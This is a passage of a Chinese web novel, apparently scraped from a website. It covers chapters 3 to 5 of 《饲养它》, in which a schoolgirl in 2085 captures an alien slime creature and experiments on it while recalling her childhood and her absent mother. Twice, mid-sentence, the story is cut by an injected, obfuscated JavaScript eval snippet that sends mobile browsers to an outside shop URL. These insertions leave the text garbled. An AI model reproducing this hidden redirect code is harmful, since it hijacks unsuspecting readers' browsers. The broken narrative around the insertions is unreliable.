《饲养它》
3. 无机质
唐念笑了一声,笑声如香蜜般散在剑拔弩张的空气中。
她也不知道自己为什么在如此危急的关头还有心情笑,无论从身体的机能还是攻击力看,她貌似都不是眼前这头怪物的对手。
怪物敏锐地弓起腰——如果它史莱姆般的身躯里有腰这个部位的话——前端触手蓄势待发,划破空气猛然一刺。
这次攻击远比上次更快,她的身体被它定在身下,无从躲避,只来得及将脆弱的脖颈朝旁别开。左脸颊侧一凉,一热,顷刻间便有液体沿着颧骨走势汩汩沁出,唐念闻到了自己温热腥香的血。
浓烈的血腥味似乎让怪物食欲大开,她看到眼前的口器迅速张合,夸张地扩成脸盆大小,朝她鲸吞而来。
躲是躲不掉了,她并非运动高手,也没有经过任何防卫训练。但她也并不希望自己就此被啃掉半个脑袋,漏着脑浆去参加高考。在怪物湿热的口器罩上她脸颊的前一秒,唐念探出右手,徒手捣进了它大张的嘴里。
口器内无数尖刺獠牙瞬间割破了她柔嫩的皮肤,旧伤上鲜嫩的痂迸裂开,每往里进一寸,利牙就在她皮肤上划出更长的伤口,手背如同被地壳运动撕裂的大陆板块,涌出无数条血河,河道蜿蜒指向同个终点。
肾上腺素的飙升让她一时感觉不到疼痛,她抓紧激素为她制造的缺口直捣目的地。
怪物可能没料到她会直接把手探进来,以至于短时间内忘了咬合。唐念伸手进去,指腹隔着自己淋漓的血和它胃里的消化液摸到了它的肠胃内壁。
她捉住它的胃袋,像集体拔河时紧紧勒住绳索一样,毫不犹豫地一拧,一拽。
乳白色的胃在她的暴力拖拽下翻出半块在口器与消化道的交界处,再大力点就能整个被她拽出。
唐念不止一次听过怪物的啸鸣,然而这一次它叫得前所未有的凄厉,那声音就像数百块玻璃同时被什么波震碎,齐齐扎进她耳膜里。
强烈的不适感让它即便有心也再无法咬合,只能凭借本能生理反应持续不断呕吐。
然而胃里的食物都被它消化光了,什么都吐不出来,唐念也没打算如此简单就收手,她使劲拽着它的胃,压着它翻滚下床,左手在书桌上胡乱探寻,摸到自己用来拆快递以及裁试卷的美工刀,把刀片推出来,对准它其中一条因疼痛而剧烈翻滚的触手狠狠一划。
怪物是柔软的,刀具轻而易举便片下了它的躯体。
鱿鱼须般的触手掉下来,长度堪比人类女性的小臂,它疼得如遭电击般剧烈痉挛,在唐念终于松开手后如蒙大赦地窜进了她床底,速度快得像条挨打的狗。
唐念脱力坐在地上,右手还在淌血,左手边是刚被她割下来、还在不断扑腾的怪物的断肢。
月光恒久不变,送来闷热的晚风。
她气喘如牛,浑身大汗淋漓,胸腔因刚才那番殊死搏斗而激烈起伏,整个房间都是她紊乱的喘息声,呼哧呼哧。
缓缓倾吐出肺部的浊气,她才伸手捞起那截触手。
很多生物的断肢在离体后的短时间内还会保留无意识的肌肉反应,就像海鲜摊贩上被切割成碎块但仍勃跳抽搐的鳙鱼头。唐念记得自己第一次跟林桐去菜市场买菜时,曾经指着那块生机勃勃的碎尸问她:“它还活着吗?”
林桐没有直接说它活着还是死了,也没有嫌她显而易见的问题阻碍了她买菜的步伐,她的回答甚至不像在解释给一个六岁的孩子听,因为涉及了太多专业名词。
“以前的人认为细胞分化过程是不可逆的,但核移植技术和诱导多能性干细胞的出现让已分化细胞的返老还童成为了可能,许多在现在的科技看来已经走到终点的情况,在未来也许都能重焕生机。”
唐念听不懂:“那它究竟是活着还是死了?”
“它在现有科技的认知水平里死了。”
“未来呢?”
“不知道。”
旧时的谈话淡去,唐念在月光下举起不断挣扎的断肢,站起身,在房间内搜寻适合容纳它的器具。
她很快找到了一个林桐以前用来种兰花的透明控根花盆。将触手放进去后,她在花盆顶部压了张硬纸板,解锁手机,把手机架在支架上,对准断肢录像。
她想知道这截断肢多久之后才会彻底失去生物活性。
做完这一切,她才想起被她遗落在床底下的怪物,虽然它受了重创,但唐念不可能让一个不久前才刚袭击过自己的生物毫无约束地待在自己床底下。10kg的哑铃显然已经压不住它了,她用扫帚把它从床底下扫出来,拎着它剩余的触手,把它锁进了闲置的保险柜里。
*
“你昨晚怎么了?我昨儿睡到半夜,好像听到你房间里有什么动静。”
吃早餐的时候,唐生民破天荒关心了这么一句。
唐念用筷子夹断半块腐乳涂在馒头片上,淡声说没什么,只是睡到半夜床塌了而已。
“啊?床还能塌啊?不过也对,都用了十七年了吧?回头我找个工人过来修,正好我前几天打麻将要了个维修工的电话。”
他说完便继续埋头吃饭了,没察觉她右手缠的纱布变得比前几天还厚。
唐念前两天给他的说辞是走路回家的路上摔了一跤——烂大街的理由。如果唐生民是那种细心的父亲,她反而需要多费几个脑细胞琢磨应付他的措辞,但他不是,因祸得福。
这天是周日,上午需要上课,下午可以休息一段时间。放学后她没像往常一样留在学校自习,而是回了家,边刷题边观察花盆里的那截触手。
相较于刚从身体上分离那段时间,断肢的活性降低了许多,每隔一两分钟,裸露在外的肌肉组织才会轻轻跳一下,如同将熄未熄的烛。这种细微跳动一直持续了二十三个小时才彻底止息,远超地球上大多数生物,唐念在本子上忠实记录下时间。
她有意饿了怪物一整天,直到二十四小时过去才打开保险柜的门查看它的情况。
失去一只触手且一整天没有进食对它来说显然是不小的能量损耗,它缩小了,从昨晚猛然暴涨的体型浓缩为了刚孵化出来那会儿的巴掌大小。
唐念推给它一碟生肉,是今天白天她和唐生民吃剩的猪前腿。
推过去的动作类似攻击,似乎让它受到不小惊吓,它几乎把整个身躯都贴在了保险柜最内侧的柜壁上——那里离她最远。
唐念又把碟子往保险柜里送了送,几乎就在她这么做的同时,怪物发出了一道她从来没有听到过的尖声啸叫,声音如幼鸟啼鸣,清脆短促且充满了恐惧。
她退开一些,坐到保险柜对面的书桌上背数学公式,只用余光留意它的动静。
过了足有半个多小时,确认她目前没有攻击意图后,小怪物才从保险柜的阴影里温吞吞滑了出来。它像一滩流动的蛋液,乳白色的身躯缓缓流到了碟盘上,整个身体覆盖住那片猪前腿肉,几秒后,身体一鼓一鼓,像是开始了进食。
唐念看了片刻,正打算将注意力重新拉回到笔记本上,就被眼前的景象定住了。
借着台灯暗黄色的光线,她清清楚楚地看到怪物断掉的那截触手不知何时已经重新长了回来。
*
“烤箱?”乔燕妮看着眼前的唐念,“有是有……你要做糕点?”
“嗯。”唐念点头道,“我用完马上就会还给您的。”
“好吧,那你在门口等等,我进屋去拿。”
乔燕妮是他们这一片的思想教育部委员。这是战后新成立的一个部门,用来巩固新政权的意识形态,向民众灌输全球大一统的观念,从思想层面入手,意在熄灭动乱的火星。林桐离开后,出于人道主义关怀,乔燕妮时不时会过来走访慰问她家的情况。她第一次来月经就是向乔燕妮借的卫生巾。
但几年处下来,她们两人的关系其实谈不上多么热络,一是因为乔燕妮身为思想教育员委员有众多琐事需要操心,唐念只不过是她需要操心的民众中的其中一员,二是因为唐念的性子很寡淡,虽说遗传到了唐生民的好皮囊,漂漂亮亮一个姑娘,成绩也不错,但总习惯于独来独往,话少,面冷,从不与任何人深交,存在感低微。别说乔燕妮对她没什么印象,就连跟她同桌了整整三年的徐晓晴也并不了解唐念是个怎样的人,有怎样的喜恶。
乔燕妮把烤箱抱出来,交到唐念手里时特意叮嘱她抱稳了:“这东西重,砸脚上了可不是闹着玩儿的。”
她双手接过,颊侧因用力而显出了一道浅浅的筋络,吃力地用鼻音嗯了一声。
抱着烤箱步行回家里,唐生民正巧要出门打麻将,弯腰站在门口换鞋,食指挤进脚后跟与鞋子的间隙,费力一勾,额头因抬眼看她的动作压出了几道褶:“你抱个烤箱回来干嘛,捡的别人不要的?”
“跟燕妮姐借的,回头做完饭就还回去了。”
“哦,那你做好了给我留点,我今晚不回来了,明早再吃。”
唐念不置可否,只让他省着点钱花:“你要把这月的零花钱花掉,我可不会再给你了。”
唐生民不耐烦地摆摆手表示知道了。
今天已是周一,她忙完还得回学校上晚自习,把烤箱搬到厨房以后,她从冰箱里挑出几只虾,来到自己房间,解开保险柜给怪物喂食。
小怪物还是怕她,但这次心理建设的时间比昨天短,约莫过了十分钟,它就犹犹豫豫地从柜子里出来了。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16632417|188018||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
唐念坐在书桌前翻阅自己的试卷,与它保持着一段安全距离。
一个看书,一个进食,乍看相安无事。
等它把虾解决得差不多了,正要缩回保险柜,唐念从口袋里摸出一个生鸡蛋,放到它面前的地板上敲了敲,然后打碎在给它喂食的碟里。
这是一个明显的邀它继续进食的动作,它缩回保险柜的动作顿了顿。
蛋液流满碟盘,散发着禽类浓烈的腥气。唐念讨厌生鸡蛋的味道,但她面前的小怪物看起来倒像是蛮喜欢,在半分钟的纠结后,它重新滑回了碟盘周围,和之前那样,将整个身体罩在碟子上进食,五根触手扒住碟沿固定身躯。
她和它之间的距离变得极近。
唐念不知道这只怪物有没有在他们之间的两次交锋中对她产生些新想法,也不清楚这种生物是否有等级和臣服的观念,不过现在看来,它起码在连续两次受挫以及食物的诱惑下变得温顺了一些。
这份温顺在它接连表露过攻击性后,看起来格外香甜可口。探求的欲望转化为饥肠辘辘的食欲,在她肠胃里横冲直撞,令她口齿生津。
她摩挲了一下藏在自己另一个口袋里的美工刀,在它专注于进食时将刀抽出来,手起刀落,利落地斩下了它另一条触手。
*
2085年,烤箱的温度已经能够实现精准控温,且整个烤箱内部温度均衡,唐念拧着温度旋钮,将其调节到100℃,停留5分钟,随后以5℃为基准逐步往上加温。
100℃、105℃、110℃……
烤箱内的触手始终维持原样,除了整齐断裂的缺口溢出的乳白血液被高温蒸干外,它仍像之前那条断肢一样保持着基础的肌肉反应,直到温度加高到150℃,它才出现了些许萎缩,肌肉的抽动也变慢了。
唐念将鼻尖贴到烤箱的玻璃门上,定定观察它的反应。
在150℃这个温度坚持了三分多钟后,这根断肢彻底失去了活性。
唐念打开烤箱的门,用夹子把烧焦的触手捡了出来。
断肢烧焦的味道并不好闻,不像化学书上学到的烧焦羽毛味,比那还刺鼻些,她猜测也许是因为怪物的身体组织构成并非蛋白质,或者说不完全是蛋白质。至于究竟由什么成分构成,以及分子的排列等更细致专业的研究,就需要借助专门的仪器进行了。
下午返校上课时,她频频走神,考虑起找物化生老师借实验仪器进一步实验的可能性。
现阶段书里的新知识早就已经学完了,离高考不过八十来天,上课的内容无非是巩固复习以及重复刷题,她已经不需要再用实验去验证什么新学的知识,向老师借实验仪器显然并不容易。
自己买么?又没多余的闲钱。
唐念思来想去,只得暂且按下这个想法。
在进行分子层面的研究以前,她还有很多可以验证的东西。
比如,怪物本身能不能耐住150℃的高温?如果能的话,它能在这个极限温度下存活多久?
*
夜色寂凉,夏夜的潮热没有惠及全封闭保险柜,柜内一片黑暗。
光透不进来,氧气也同样稀薄,它蜷缩在柜内的角落里,降低了对氧气的消耗,缓慢修复中午新形成的伤口。
被美工刀整齐划开的伤口断面裹着一层浊液,新生的组织于浊液中萌发,呈不规则球形,分裂,融合,消解,如同一锅冒着泡泡的热汤,一颗叠着一颗的癌变肿瘤。它需要调动消化袋内榨取食物而来的所有残余能量,才能勉力打造出断裂的触手。
它快要成功了。
就在这时,它“听”到了她。
轻巧的走路声,近似无声无息。同家里那只像是与她有血缘关系的雄性生物比起来,她的行动和语言都过分轻盈,堪称温和无攻击力——一个完美且温驯的狩猎对象。
但现在的它绝对不会再有这种误解。
它“回忆”起中午触手被一刀斩下的剧痛,尚未完全修复的身躯因恐惧而潮水般翻涌蠕动,它放弃了修复残肢,转而把所有的能量都用来逃离。
力气集中到最强壮的触手上,因身体还虚弱着,硬化这条触手花费了它不少时间,等它将完全硬化的触手插.入保险柜面与面的间隙,打算拼死一搏,使蛮力试试能否将它撬开时,保险柜的密码锁嘀嘀响了两声,传来了解锁的提示音。
门开了。
光线铺天盖地涌进来,她蹲跪在地上,手撑地,头朝下,俯身看向它。
月光涤亮她的双眸,将她琥珀色的瞳孔折出一种无机质的残酷与锋芒,偏偏唇角又是上翘的,噙着笑意,轻声问它:
“你要去哪儿?”
4.怪胎
唐念的白蚁产下了第一枚卵。
卵是透明的乳白色,小小一粒,乍看像颗白芝麻,很像小怪物先前的颜色。
之所以说“先前”是因为她用它做高温实验时烧毁了它一部分皮肤,目前这部分焦黑的皮肤还在自我修复中,她专门腾出了一个笔记本用来记录实验结果,里面除了最开始写下的那条“断肢能够在离体状态下保持活性23小时11分钟”,以及耐高温实验中新增的“断肢能在150℃的极限温度下维持活性3分钟,成体能够在180℃的极限温度下存活11分钟09秒”,近来还多了一些关于它自我修复时长与特性的记录。
她对它的耐寒能力也颇感兴趣,而且已经进行过的那些实验也需要重复很多次才能抵消随机误差,得出更贴近事实的数据,这意味着她不能太快将它玩死了,对个体进行的研究讲求可持续发展。
为此唐念特意抽出时间查阅资料,制定了一份对她这个年纪来说很周到、对专业人士来说却仍显粗陋的实验计划。
保障怪物的生命安全是她实验的首要前提。她会在实验后为它提供基础的疗伤,会定时定点投喂它,悉心记录它的恢复情况。
但也仅仅如此而已了。
至于它是否感到疼痛和恐惧,这些不在唐念的考虑范围内。
比起科幻作品热衷于探讨的“外星生命是否具有人类情感”这一永恒母题,她更关心怪物展露出来的、能够明确被观察与测量的生理特性。
比如它的触手,唐念渐渐发现那些触手不是真的触手,而是一种拟态,当它身体强壮,能量充沛,史莱姆般的身体就会分裂出新触手;反之,当它遭受重创,处于极度虚弱的状态时,它会倾向于自我回收触手,把触手的能量通通用于养精蓄锐。
基于此,唐念猜测它不仅能无限再生触手,也能无限再生身上其余部位。
为了验证这个猜想,她取下了它背部的身体组织样本——一块一平方厘米的血肉。
取样时它挣扎反抗得比触手被割断还要剧烈,唐念费了很大的力气制服它。这块被剜出的小洞过了一段时间果然也再生了,但再生的速度远远比不上触手修复的速度,显然它底部的身体组织比背部身体组织更具活性。
还有耐寒能力,2085年的冰箱同样能够实现精准控温,然而最低温度只有零下三十度,她用自家冰箱展开实验,惊愕地发现它能在零下三十度的低温中照常维持生理活动,完全不受低温影响。
她想测出它的温度耐受下限,可惜受限于设备,该想法只得暂且压下不表。
小怪物的消化结构同样令唐念感到惊叹。它能够自主控制胃袋里消化液的分泌,这意味着在消化液没有分泌的情况下,它的胃袋能够作为一个临时储食袋贮存摄入的食物,这种能力让它得以在食物紧缺的情况下生存更长时间。
它的排泄口是在第一次消化过后才出现的,她猜测它刚孵化出来的时候仅仅是个半成体,就像白蚁的若虫,很多器官都要随着时间流逝才能发.育出来。
实验有条不紊地进行着,每天晚上,唐念都能往笔记本上记录新发现。
当然,小怪物并不总是乖乖束手就擒,头几回实验,它经常出于自保攻击她。她没有足够坚硬的外壳用以保卫肌肤,也没有超常的反应速度。它的攻击虽然不至于置她于死地,在她身上制造些伤口却着实轻而易举。
但唐念不在乎。
她是一个对痛感反应冷淡的人,即使手上鲜血淋漓,也能照常进行手头的实验。
也许是察觉到了这一点,后来小怪物才逐渐放弃了攻击。
它保存起精力,近乎自暴自弃地承受着她带来的一切。
伤害,流血,疼痛。
治疗,痊愈,喂食。
她以严谨的态度近乎冷酷地重复着这些过程,不是为了泄愤,单纯只是好奇,就像孩童好奇收音机的结构,将其拆卸重组,以便寻求收音机运行的真理一样,她拆卸它且孜孜不倦地研究它。
*
“唐念是个怪胎。”
她最开始听到有人这么形容她是在幼儿园。
那时距离战争结束仅过去六七年,青壮年劳动力紧缺,很长一段时间里,给他们上课的都是机器人。
某天开始,他们幼儿园终于迎来了战后第一批人类教师。充当他们班主任的老师很年轻,素面朝天一张脸,走进他们班,先介绍了自己,接着热情地让大家上台做自我介绍。
“告诉老师,你们叫什么名字,今年几岁啦?有没有喜欢的东西?有没有什么有趣的事儿要和老师分享呢?”她说,“不管是什么事,都可以告诉老师,从今天开始,老师就是你们最好的朋友。”
小朋友们一个个上台做自我介绍了,说的话稀奇古怪,有人说自己喜欢啃嘴皮,有人说自己喜欢把臭屁抓在手里让别人闻,有人说自己长大想当环卫工,因为可以扫到秋天的第一片落叶。不管是怎样稀奇古怪的内容,新来的老师都能亲切随和地微笑倾听。
轮到唐念上台时,她想老师也许会喜欢她珍藏的宝物。
于是她把那个东西从衣兜里拿了出来,郑重地放上老师的掌心。
老师接过来,定睛一看,骇然尖叫一声,猛抖手甩开了,朝后连退好几步,一屁股摔在地上。
过后,园长把她叫去谈话,问她为什么要用恶作剧作弄新来的老师。她说她没有在恶作剧,她只是想让老师瞧瞧她的珍宝。
园长摇摇头,对旁边仍在啜泣的老师说你别介意,这孩子是个怪胎。
回到家里,她问林桐怪胎是什么。
林桐正在灶台前煮饭,闻言撩了撩耳鬓的头发,把焯好的排骨从锅里捞出来,问:“有人这样说你了吗?”
“嗯。”唐念把东西从口袋里重新掏出来,有些生气和沮丧的样子,“我们老师还把它摔坏了。”
那是一个昆虫标本,但又不同于普通的昆虫标本,它是许多昆虫的嵌合体。
螳螂的头胸与镰刀,蜻蜓的翅膀,马蜂的腹部。是她饲养的昆虫寿终正寝后,林桐提议说:“做成标本保存起来吧。”她欣然应允,发挥创意,把它们肢解后重新做了拼接。
新来的老师把它甩开时用的力道太大,导致胸与腹之间粘合的部位脱节了。
林桐瞥了一眼:“放你房间里,等晚饭吃完了,我帮你粘好。”
闻言她很快又开心了起来。
第二次听到有人说她怪,是小学一年级。
同桌男生的奶奶去世了,从早读开始他就在抹眼泪,下课以后,班里很多人都围过来安慰他。有人发现她身为对方的同桌,却一直自顾自在看书,完全没有要关心的意思,于是脱口而出,说唐念,你同桌都这么伤心了,你怎么还在做自己的事。
她从书页间抬起头,惊讶地问:“那我该做什么?”
“你安慰他呀!”
“为什么要安慰他?”
“他奶奶去世了。”
唐念不懂这有什么好安慰的,把头转了回去,继续看书,不再理会他们。
她对死亡的认知来源于有关鳙鱼头的那次对话,林桐的话从此在她脑海中为死亡下了定义——死亡并非终点,只是人类尚且无法理解的另一种生命形式。
而事实也确实如此,到了2083年,科学家研制出了数字永生技术,能用计算机存储记录人脑的信息,只是受限于伦理问题、技术成熟度与经费,数字永生仍是金字塔顶部少数富人的游戏。不过这项技术面世以后,很多高三学生都颇具黑色幽默地把那句“生命只有一次,高考可以重来”的标语改成了“高考只有一次,生命可以重来”。
时间回到2074年,唐念读一年级的这一天,数字永生技术还没发明出来的时候。
好心为她同桌发声的人吃了个瘪,最后憋出句:“你这人好奇怪。”
第三次有人这么评价她,是唐念读四年级的事了。
她收到了人生中第一个告白,如果那能被称为告白的话。
向她告白的男生周昊是学校有名的刺头,因为脸长得痞帅,在学校有相当高的人气。放学后他塞给唐念一张纸条,嬉皮笑脸地说:“你看看呗。”
周围围着一圈看好戏的人,唐念急着回家,说:“我回家再看。”
“现在就看。”他拦住了她的路。
她往左,他就往左,她往右,他也往右。唐念没办法,只好当着大家的面把纸条拆开。
上面用歪歪扭扭的字写着——
我想shui你。
她起初将“shui”看成了“zhui”,还以为是“我想追你”,直到对方那帮兄弟在她拆开纸条那刻憋着气吃吃笑起来,她定睛一看,才发觉那是“睡”的拼音。
四年级,女孩们都陆陆续续开始发.育了,胸.前的肌肤是大地,破土长出青春的芽,身下如泉,汩汩涌动创生的血。在一知半解的年纪,性.是最隐秘也最刺激的话题。
周昊渴望看到她激动的反应,无论害羞还是生气跳脚,对他来说都是这场言语上的性.侵.犯的嘉奖。可唐念始终面无表情,连眉毛都没有皱一下,沉默数秒,才悭吝地从唇间挤出声调平平的两个字:“无聊。”
然后抬手将纸条撕成了碎片,当着大家的面,右手拉开他的裤腰,左手将碎纸一把塞进了他的裤.裆。
她背着书包离开了,背后接二连三响起被她粗狂举动惊到的“卧槽”声,以及周昊因丢了面子而恼羞成怒地痛骂她是怪物的叫嚷。
晚上回到家里,周昊的妈妈通过班主任要到了她家的联系方式,打来电
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16636253|188018||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
话倒打一耙,说你女儿在学校当众欺负我儿子,害他回家哭了好久,你们今天必须给我个说法。
接电话的是唐生民,他对内不怎么样,对外却极其护短,闻言乐了几声,才说:“我女儿不会无缘无故欺负人,肯定是你儿子犯贱。你儿子犯贱就算了,居然还斗不过我女儿,斗不过就算了,还好意思哭?哎哟!笑死我了。”
周昊家长气得摔了电话。
旁边的林桐倾身问她:“念念,你真欺负同学了吗?”
她说没有。
“那你被他欺负了吗?”林桐又问。
唐念想了想,说:“也没有。”
她不觉得那算欺负,因为她已经回敬过去了,没让自己吃亏。
晚上睡觉前,她在浴室刷牙,林桐拿着螺丝刀进来修漏水的热水器。她含着满嘴泡沫含糊不清地问,妈妈,我真的很怪吗。
林桐看着她,问:“什么是奇怪,什么又是正常?”
“和大家一样是正常,和大家不一样是奇怪。”
林桐就笑了:“世界上没有两片完全相同的落叶,也没有两个完全相同的人,所以根本不存在‘和大家一样’的人。每个人都是奇怪的,每个人也都是正常的。”
她依然听得似懂非懂,索性甩甩头,话题一跳,问早餐吃什么,能不能买奶黄包。
唐念小孩子舌头,爱吃甜,这习惯一直维持到她长大也没变。
林桐有求必应,点头说好。
那时唐念觉得,她有一个幸福的家。
尽管“幸福”两字用来形容她的家庭似乎有些古怪。唐生民和林桐并不是传统意义上的恩爱夫妻,唐念遍寻词典也找不出一个标签能够确切形容他们之间的关系。
据说唐生民年轻时漂亮到曾经被同个星探连续拜访七次,这话唐念是相信的,因为她爸虽然现在老了,但那张面皮放到中老年里也能迷倒一拉人。他骨相与皮相都生得好,西方骨,东方皮,肉挂脸,长相既抗打又耐老。
但长得好并没有用,他是她这辈子见过最懒的人。唐念常常觉得金玉其外败絮其中这个表达就是为唐生民量身定制的。
他有一种把吃过的碗筷放到发霉长毛也能视若无睹的能力,睡觉的三件套也能做到常年不洗,家里的地板上如果掉了团纸巾,更不能指望他随手捡起来,他不仅不会捡,还会直接伸长腿迈过去。
从结婚那天起,他们全家就仅靠林桐在卫生所工作的那点儿微薄薪资以及两家父母给的存款过活。唐生民不工作,他唯一的“工作”就是打麻将。麻将这种事有输有赢,没人能夸口自己百战不殆,他赢来的那点钱只够他自己买几包烟,买点小酒,时不时还得死皮赖脸找林桐要些接济。
唐生民不仅行为上当小白脸,还拥有小白脸强悍的心理素质,被别人嘲笑吃软饭也不生气,照旧嘻嘻哈哈。
家里的财政大权牢牢握在林桐手里,因为唐生民毫无规划能力,要是把钱交给他管理,不出三天,全家就要到公园长街上喝西北风了。
林桐是非常注重卫生的人,活得井井有条,唐念不理解她为什么要跟唐生民这样不着调的人结婚,而且还对他展现出了母亲对待儿子般的非凡包容力。难道图他的脸么?可牺牲未免也太大了,既要当保姆打理卫生,又要打苦工赚钱养家。
她问过林桐这个问题,林桐笑着反问:“你爸爸有这么糟吗?”
“有啊。”
那时唐生民就坐在沙发另一端剪脚趾甲,闻言啧了一声,说欸你这小孩怎么回事儿,你爹我还坐在这呢。
林桐想了很久,才说:“可能是因为我想体验另一种人生吧。”
“什么意思?”她不明白。
林桐摇头说你长大就会懂了。
长大以后是否会懂,唐念不知道,她只知道每天早上,林桐都会依言给她买来她爱吃的奶黄流沙包。
奶黄包如期买来了,林桐却离开了。
第一个发现这件事的是唐念,她早起洗漱完毕,坐到餐桌旁吃饭。包子就放在餐桌上,还是热乎的,捧起来咬一口,滚热流沙爆出,烫伤了她的舌尖。她晾着舌尖,嘶嘶蛇叫着去找水,发现水杯下压着一张字条儿,字迹娟秀工整。
“念念:”
这是起笔第一行字。
称呼下面清清楚楚写了家里保险柜的密码以及所有银行卡的密码。
拿起纸条,晨光透过来,将上面墨色的字迹照得像在发光。她翻来覆去看了好几遍,希望看到具体的交代,比如告诉她,妈妈有事必须出差几天,很快就回来了。
可是那上面除了密码,什么都没有。
没有解释,没有再见,甚至连一句“妈妈爱你”都没有。
林桐就这样离开了。
天地广阔,再无音讯。
5.搜查
“你们看新闻了吗?昨晚爆炸了。”
早上刚进教室,唐念就听到了班上同学们的讨论,这不太寻常,因为平时大家都会争分夺秒利用晨读前的这段时间自习。
她坐到自己的座位上,听到徐晓晴同其他人说:“又是反叛军搞的鬼吧,今年都第二次了。”
离战争仅仅过去二十年,世界各地仍然零星存在着想要复国的战前遗民,这些人被统一称为反叛军,战后的纠察部就是为了平息相关政治动乱而专门成立的武装力量。
爆炸发生在C-203区的一家化工厂,离他们所在的C-201区80公里,听说没有人员伤亡,但是失窃了几吨新造的化工材料。
“唉……主要是我们这边又得遭殃。”坐在她前面的学生叹气,“都要高考了,能不能别搞啊?要是出点意外,我努力了这么久就全白费了。”
他们位于无污染区的边界,反叛军窃走化工材料后一般都会往污染区逃逸,每次遇到这种事,他们这里都首当其冲。
徐晓晴从桌肚里摸出笔记,随口宽慰道:“那也没办法,谁叫我们住在这?反正有纠察部在,再乱也乱不到我们头上,乖乖学习吧。”
*
反叛军的动乱在战后这二十年间屡见不鲜,包括唐念在内的许多人都觉得自己已经能够和三不五时出现的叛乱友好相处了。纷乱虽然无处不在,却没有真正影响到他们的生活,因此宵禁通知下达以后,大家都吃了一惊,没想到事态竟然已经严重到需要实行宵禁的地步。
晚自习暂时取消了,尽管学生与家长们怨声载道,但迫于上头的压力,学校并不敢承担风险。
傍晚六点,唐念背着书包走在放学的路上。
夏季天黑得晚,六点左右,天光大亮,街道上却已经没什么人了,只有坐在摩托车上的纠察员荷枪实弹,手拉警戒横幅,放着提示喇叭,在街道上来来回回巡逻。
风声呜咽,将白色塑料袋从街头吹到巷尾,飘飘摇摇的,像一朵流浪的浪花。
电子生成的声音夹杂在风里,断续地说:“晚上八点过后,请所有居民非必要不外出……”
唐念回到家里,起锅烧水,把中午备好的菜和解冻过的猪肉下进锅里,加了包酱料,打算随便炖锅大杂烩。
等菜熟的间隙,她回自己房间做了会儿题。
屁股还没把凳子捂热,唐生民就进来了。他刚回家,风尘仆仆的一张脸,踱步到她门前,朝她举臂示意手里拎着的包装袋,说他在外面跑了好几条街才找到一家尚未关门的煎饼店。
“你趁热吃了吧。”他慈和地说,破天荒向她施展出父亲的柔情。
唐念已经了解他了解到他一脱裤子她就知道他要放什么屁的程度,闻言头也不抬地说:“没钱。”
“……”
唐生民脸上表情僵了一瞬,干巴巴地说你把爸爸想成什么了,我关心你一下还不行吗?难道我关心你就只是为了找你要钱吗?
她八风不动,笔尖在卷子上飞快划拉,勾出选择题的答案。
唐生民自讨了个没趣,见她没有理会的意思,只好丢掉惺惺作态的伪装,清咳几声,赔上不值钱的笑,往她床上一坐,酝酿出一个委婉的句式:“念念,是这样的……”
他只有要钱的时候会肉麻兮兮管她叫念念,其他时候就是“唐念,把地扫了”“唐念,把碗洗了”“唐念快去做饭,我肚子饿了”,呼风唤雨,形同皇帝。
唐念懒得理他,任凭他在身后念念念念地叫,醉翁之意不在酒地说自己最近有个多年不见的发小要结婚了,他得去参加对方的婚礼。
“参加婚礼,那总得交份子钱吧……”
说到最后,图穷匕见。
唐念保持漠然。
他嗡嗡嘤嘤地蚊子叫了一段时间,发觉毫无作用,干脆死皮赖脸往地上一滑一瘫,抱住保险柜开始哭,说:“呜呜,算我求你了嘛!我保证只有这一次,这笔钱拿到手我绝对不乱花,交完份子钱,这个月我就不找你要钱了,真的,我拿我的生命起誓!你给我几百块就行,几百块都不给,你真忍心看我在那帮兄弟面前跌份儿吗?”
保险柜里的重要文件早就被唐念取出来藏在别的地方了,现在里面只住着小怪物。虽然有保险柜封着,它没法溜出来,更不能发动攻击,但唐生民这样冷不丁一搂,她还是担心它受到惊吓发出响动,于是只能转身命他出去。
“我不!你不给我钱,我就赖这儿了,我今晚抱着保险柜睡你房间地板上。”
“……”
这是一个四十来岁的中年人能说出的话吗?唐念眼望天花板,不理解自己怎么才十七岁就无痛得了个巨婴儿子。
“你起来,我等会儿写完作业再转账给你。”她暂且退了一步。
唐生民大喜,一扫颓靡之色,神清气爽地从地上站起来,理了理褶皱的衣摆,又穿上了人模狗样的皮,颔首道:“我就知道你是个体谅爸爸的好孩子。”说完很顺嘴地低头咬了口据说是买给她的热煎饼。
他哼着小曲儿出去了,唐念想的却是得给自己的卧室门换一把锁,现在的锁唐生民也有备用钥匙,可以自由进出,看来必须换一把锁才能彻底将他拦在门外了。
*
唐生民最后并没有从唐念那里要到钱,因为她背信弃义,拒绝践诺。
他磨了她好几天,最后没磨来钱,倒是磨来了纠察员。
院子里的铁门被敲响,唐念走去开门,唐生民还在客厅发表他“不孝女”的论调,直到大门一敞,露出两位纠察员的制服,他未出口的后半截话才生生咽了回去,改成谄媚的:“两位大人……”
又不是古代,都2085年了还有人叫“大人”,纠察员中较为年轻的一位没忍住笑了一声,被前辈斜眼瞪了才止住笑。
“咳咳。”年轻纠察员赶紧清了清嗓子,端正面容,边核对手头的户口登记资料,边问,“你们是唐生民和唐念吧?家里两口人?”
“啊,对。”唐生民来到院子里。
